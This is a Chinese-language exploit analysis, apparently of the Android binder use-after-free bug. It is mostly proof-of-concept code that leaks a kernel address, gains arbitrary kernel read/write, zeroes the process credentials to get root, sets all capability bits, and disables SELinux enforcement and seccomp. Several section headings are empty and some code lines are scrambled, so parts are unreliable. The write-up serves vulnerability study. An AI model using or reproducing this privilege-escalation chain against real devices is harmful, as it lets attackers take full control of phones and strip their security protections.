一、漏洞简述

二、漏洞复现

三、漏洞原理和崩溃分析

Call Trace:...__lock_acquire+0x465e/0x47f0 kernel/locking/lockdep.c:3378lock_acquire+0x1d5/0x580 kernel/locking/lockdep.c:4004__raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline]_raw_spin_lock_irqsave+0x96/0xc0 kernel/locking/spinlock.c:159remove_wait_queue+0x81/0x350 kernel/sched/wait.c:50ep_remove_wait_queue fs/eventpoll.c:595 [inline]ep_unregister_pollwait.isra.7+0x18c/0x590 fs/eventpoll.c:613ep_free+0x13f/0x320 fs/eventpoll.c:830ep_eventpoll_release+0x44/0x60 fs/eventpoll.c:862__fput+0x333/0x7f0 fs/file_table.c:210____fput+0x15/0x20 fs/file_table.c:244task_work_run+0x199/0x270 kernel/task_work.c:113exit_task_work include/linux/task_work.h:22 [inline]do_exit+0x9bb/0x1ae0 kernel/exit.c:865do_group_exit+0x149/0x400 kernel/exit.c:968SYSC_exit_group kernel/exit.c:979 [inline]SyS_exit_group+0x1d/0x20 kernel/exit.c:977do_syscall_32_irqs_on arch/x86/entry/common.c:327 [inline]do_fast_syscall_32+0x3ee/0xf9d arch/x86/entry/common.c:389entry_SYSENTER_compat+0x51/0x60 arch/x86/entry/entry_64_compat.S:125

void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry){    unsigned long flags;    spin_lock_irqsave(&wq_head->lock, flags);    __remove_wait_queue(wq_head, wq_entry);    spin_unlock_irqrestore(&wq_head->lock, flags);}

Allocated by task 3086:...binder_get_thread+0x1cf/0x870 drivers/android/binder.c:4184binder_poll+0x8c/0x390 drivers/android/binder.c:4286ep_item_poll.isra.10+0xec/0x320 fs/eventpoll.c:884ep_insert+0x6a3/0x1b10 fs/eventpoll.c:1455SYSC_epoll_ctl fs/eventpoll.c:2106 [inline]...Freed by task 3086:...__cache_free mm/slab.c:3491 [inline]kfree+0xca/0x250 mm/slab.c:3806binder_free_thread drivers/android/binder.c:4211 [inline]binder_thread_dec_tmpref+0x27f/0x310 drivers/android/binder.c:1808binder_thread_release+0x27d/0x540 drivers/android/binder.c:4275binder_ioctl+0xc05/0x141a drivers/android/binder.c:4492..

static void binder_free_thread(struct binder_thread *thread){    BUG_ON(!list_empty(&thread->todo));    binder_stats_deleted(BINDER_STAT_THREAD);    binder_proc_dec_tmpref(thread->proc);    kfree(thread);}

#{Threaded:false Collide:false Repeat:false Procs:1 Sandbox: Fault:false FaultCall:-1 FaultNth:0 EnableTun:false UseTmpDir:false HandleSegv:false WaitRepeat:false Debug:false Repro:false}mmap(&(0x7f0000000000/0xfff000)=nil, 0xfff000, 0x3, 0x32, 0xffffffffffffffff, 0x0)r0 = syz_open_dev$binder(&(0x7f0000001000)="2f6465762f62696e6465722300", 0x0, 0x0)r1 = epoll_create(0x10001)epoll_ctl$EPOLL_CTL_ADD(r1, 0x1, r0, &(0x7f0000337000-0xc)={0x2019, 0x0})ioctl$BINDER_THREAD_EXIT(r0, 0x40046208, 0x0)

四、POC的整体架构

struct stage_t stages[] = {    {prepare_globals, "startup"},    {find_current, "find kernel address of current task_struct"},    {obtain_kernel_rw, "obtain arbitrary kernel memory R/W"},    {find_kernel_base, "find kernel base address"},    {patch_creds, "bypass SELinux and patch current credentials"},    {launch_shell, NULL},    {launch_debug_console, NULL},};void execute_stage(int stage_idx) {    stage_desc = stages[stage_idx].desc;    (*stages[stage_idx].func)();    ...}int main(int argc, char *argv[]) {    ...    execute_stage(0); /* prepare_globals() */    execute_stage(1); /* find_current() */    execute_stage(2); /* obtain_kernel_rw() */    execute_stage(3); /* find_kernel_base() */    ...}

五、初始化：prepare_globals

void prepare_globals(void) {    pid = getpid();
    struct utsname kernel_info;    if (uname(&kernel_info) == -1)        err(1, "determine kernel release");    if (strcmp(kernel_info.release, "4.4.177-g83bee1dc48e8"))        warnx("kernel version-BuildID is not '4.4.177-g83bee1dc48e8'");
    dummy_page = mmap((void *)0x100000000ul, 2 * PAGE_SIZE,                    PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);    if (dummy_page != (void *)0x100000000ul)        err(1, "mmap 4g aligned");    if (pipe(kernel_rw_pipe))        err(1, "kernel_rw_pipe");
    binder_fd = open("/dev/binder", O_RDONLY);    epoll_fd = epoll_create(1000);}

六、内核信息泄漏：find_current

epoll_fd = epoll_create(1000);struct epoll_event event = {.events = EPOLLIN};if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))    err(1, "epoll_add");

binder_iovecs bio;memset(&bio, 0, sizeof(bio));bio.iovs[iov_idx].iov_base = dummy_page;             /* spinlock in the low address half must be zero */bio.iovs[iov_idx].iov_len = PAGE_SIZE;               /* wq->task_list->next */bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */bio.iovs[iov_idx + 1].iov_len = PAGE_SIZE;

struct iovec {         // Size: 0x10    void *iov_base;    // 0x00    size_t iov_len; // 0x08}

int pipe_fd[2];if (pipe(pipe_fd))    err(1, "pipe");if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) != PAGE_SIZE)    err(1, "pipe size");static char page_buffer[PAGE_SIZE];
pid = fork();if (pid == -1)    err(1, "fork");if (pid == 0) {    /* Child process */    prctl(PR_SET_PDEATHSIG, SIGKILL);    sleep(2);    epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event);    // first page: dummy data.it's read,not readv    printf("child:read begin\n");    if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)        err(1, "read full pipe");    printf("child:read finish\n");    printf("page buff1 %s\n");    close(pipe_fd[1]);    exit(0);}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);printf("father:writev begin\n");ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz);printf("father:writev endn");if (writev_ret != (ssize_t)(2 * PAGE_SIZE))    errx(1, "writev() returns 0x%lx, expected 0x%lx\n",         writev_ret, (ssize_t)(2 * PAGE_SIZE));// second page: leaked dataprintf("father:read begin\n");if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)printf("father:read finish\n");    err(1, "read full pipe");printf("page buff2 %s\n");pid_t status;if (wait(&status) != pid)    err(1, "wait");

int pipe_fd[2];if (pipe(pipe_fd))    err(1, "pipe");if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) != PAGE_SIZE)    err(1, "pipe size");static char page_buffer[PAGE_SIZE];

pid = fork();...if (pid == 0) {    prctl(PR_SET_PDEATHSIG, SIGKILL);    sleep(2);    ...}

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz);

if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE) /*child read*/

bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */bio.iovs[iov_idx + 1].iov_len = PAGE_SIZE;

if (writev_ret != (ssize_t)(2 * PAGE_SIZE)) /*parent read*/...if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)printf("father:read finish\n");    err(1, "read full pipe");

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL)

ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz)

epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event)

void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry){    unsigned long flags;
    spin_lock_irqsave(&wq_head->lock, flags);    __remove_wait_queue(wq_head, wq_entry);    spin_unlock_irqrestore(&wq_head->lock, flags);}EXPORT_SYMBOL(remove_wait_queue);

struct binder_thread {    struct binder_proc *proc;    struct rb_node rb_node;    int pid;    int looper;    struct binder_transaction *transaction_stack;    struct list_head todo;    uint32_t return_error; /* Write failed, return error code in read buf */    uint32_t return_error2; /* Write failed, return error code in read */        /* buffer. Used when sending a reply to a dead process that */        /* we are also waiting on */    wait_queue_head_t wait;    //typedef struct __wait_queue_head wait_queue_head_t;    struct binder_stats stats;};struct __wait_queue_head {    spinlock_t        lock;    struct list_head    task_list;};struct wait_queue_entry {    unsigned int        flags;    void            *private;    wait_queue_func_t    func;    struct list_head    entry;};struct wait_queue_head {    spinlock_t        lock;    struct list_head    head;};struct list_head {    struct list_head *next, *prev;};__remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry){    list_del(&wq_entry->entry);}static inline void list_del(struct list_head *entry){    __list_del_entry(entry);    entry->next = LIST_POISON1;  //#define LIST_POISON1  ((void *) 0x00100100)    entry->prev = LIST_POISON2;  //#define LIST_POISON2  ((void *) 0x00200200)}static inline void __list_del_entry(struct list_head *entry){    if (!__list_del_entry_valid(entry))        return;
    __list_del(entry->prev, entry->next);}static inline void __list_del(struct list_head * prev, struct list_head * next){    next->prev = prev;    WRITE_ONCE(prev->next, next);}/*注意内核源码里__list_del的重名函数太多了，千万别找错，只有/include/linux/list.h这个里才是正确的*/#define WRITE_ONCE(x, val) \({                            \    union { typeof(x) __val; char __c[1]; } __u =    \        { .__val = (__force typeof(x)) (val) }; \    __write_once_size(&(x), __u.__c, sizeof(x));    \    __u.__val;                    \})

struct list_head {    struct list_head *next, *prev;};

static inline void list_del(struct list_head *entry){    __list_del_entry(entry);    entry->next = LIST_POISON1;  //#define LIST_POISON1  ((void *) 0x00100100)    entry->prev = LIST_POISON2;  //#define LIST_POISON2  ((void *) 0x00200200)}static inline void __list_del_entry(struct list_head *entry){    if (!__list_del_entry_valid(entry))        return;
    __list_del(entry->prev, entry->next);}static inline void __list_del(struct list_head * prev, struct list_head * next){    next->prev = prev;    WRITE_ONCE(prev->next, next);}

七、实现任意地址读写：obtain_kernel_rw

struct epoll_event event = {.events = EPOLLIN};if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))    err(1, "epoll_add");

bio.iovs[iov_idx].iov_base = dummy_page;             /* spinlock in the low address half must be zero */bio.iovs[iov_idx].iov_len = 1;                       /* wq->task_list->next */bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */bio.iovs[iov_idx + 1].iov_len = 0x8 + 2 * 0x10;      /* iov_len of previous, then this element and next element */bio.iovs[iov_idx + 2].iov_base = (void *)0xbeefdead;bio.iovs[iov_idx + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

int socks[2];if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks))    err(1, "socketpair");if (write(socks[1], "X", 1) != 1)    err(1, "write socket dummy byte");

#define access_ok(type, addr, size)    __range_ok(addr, size)

八、绕过/禁用安卓内核的4层安全防护机制：find_kernel_base & patch_creds

struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC    0x43736564#define CRED_MAGIC_DEAD    0x44656144#endif    kuid_t        uid;        /* real UID of the task */    kgid_t        gid;        /* real GID of the task */    kuid_t        suid;        /* saved UID of the task */    kgid_t        sgid;        /* saved GID of the task */    kuid_t        euid;        /* effective UID of the task */    kgid_t        egid;        /* effective GID of the task */    kuid_t        fsuid;        /* UID for VFS ops */    kgid_t        fsgid;        /* GID for VFS ops */    unsigned    securebits;    /* SUID-less security management */    kernel_cap_t    cap_inheritable; /* caps our children can inherit */    kernel_cap_t    cap_permitted;    /* caps we're permitted */    kernel_cap_t    cap_effective;    /* caps we can actually use */    kernel_cap_t    cap_bset;    /* capability bounding set */    kernel_cap_t    cap_ambient;    /* Ambient capability set */#ifdef CONFIG_KEYS    unsigned char    jit_keyring;    /* default keyring to attach requested                    * keys to */    struct key    *session_keyring; /* keyring inherited over fork */    struct key    *process_keyring; /* keyring private to this process */    struct key    *thread_keyring; /* keyring private to this thread */    struct key    *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY    void        *security;    /* subjective LSM security */#endif    struct user_struct *user;    /* real user ID subscription */    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */    struct group_info *group_info;    /* supplementary groups for euid/fsgid */    /* RCU deletion */    union {        int non_rcu;            /* Can we skip RCU deletion? */        struct rcu_head    rcu;        /* RCU deletion hook */    };} __randomize_layout;

kuid_t        uid;        /* real UID of the task */kgid_t        gid;        /* real GID of the task */kuid_t        suid;        /* saved UID of the task */kgid_t        sgid;        /* saved GID of the task */kuid_t        euid;        /* effective UID of the task */kgid_t        egid;        /* effective GID of the task */kuid_t        fsuid;        /* UID for VFS ops */kgid_t        fsgid;        /* GID for VFS ops *

kwrite_u32(cred_ptr + offsetof(struct cred, uid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, gid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, suid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, sgid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, euid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, egid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, fsuid), 0);kwrite_u32(cred_ptr + offsetof(struct cred, fsgid), 0);

kernel_cap_t    cap_inheritable; /* caps our children can inherit */kernel_cap_t    cap_permitted;    /* caps we're permitted */kernel_cap_t    cap_effective;    /* caps we can actually use */kernel_cap_t    cap_bset;    /* capability bounding set */kernel_cap_t    cap_ambient;    /* Ambient capability set */

kwrite_u64(cred_ptr + offsetof(struct cred, cap_inheritable), ~(u64)0);kwrite_u64(cred_ptr + offsetof(struct cred, cap_permitted), ~(u64)0);kwrite_u64(cred_ptr + offsetof(struct cred, cap_effective), ~(u64)0);kwrite_u64(cred_ptr + offsetof(struct cred, cap_bset), ~(u64)0);kwrite_u64(cred_ptr + offsetof(struct cred, cap_ambient), ~(u64)0);

Linux version 4.4.177-g83bee1dc48e8 (android-build@abfarm-us-west1-c-0087) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT ...[+]kallsyms_arch = arm64[!]could be offset table...[!]lookup_address_table error...[!]get kallsyms error...

#define SYMBOL__selinux_enforcing 0x23ce4a8
unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
printf("SELinux status = %u\n", enforcing);
if (enforcing) {printf("Setting SELinux to permissive\n");kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);} else {printf("SELinux is already in permissive mode\n");}

struct seccomp {int mode;struct seccomp_filter *filter;};

#define OFFSET__task_struct__thread_info__flags 0 // if CONFIG_THREAD_INFO_IN_TASK is defined
// Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contextsif (prctl(PR_GET_SECCOMP) != 0) {printf("Disabling SECCOMP\n");
// clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag)// arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); // this offset was eyeballed
if (prctl(PR_GET_SECCOMP) != 0) {    printf("Failed to disable SECCOMP!\n");    exit(1);} else {    printf("SECCOMP disabled!\n");}} else {printf("SECCOMP is already disabled!\n");}

九、其他步骤

十、参考资料

• VMP3逆向分析虚拟机指令 浅析
  

• InfinityHook 事件逆向
  

• CVE-2006-3439
  

• 实现游戏角色的穿墙
  

• CVE-2008-4250 netapi32.dll组件函数NetpwPathCanonicalize()溢出问题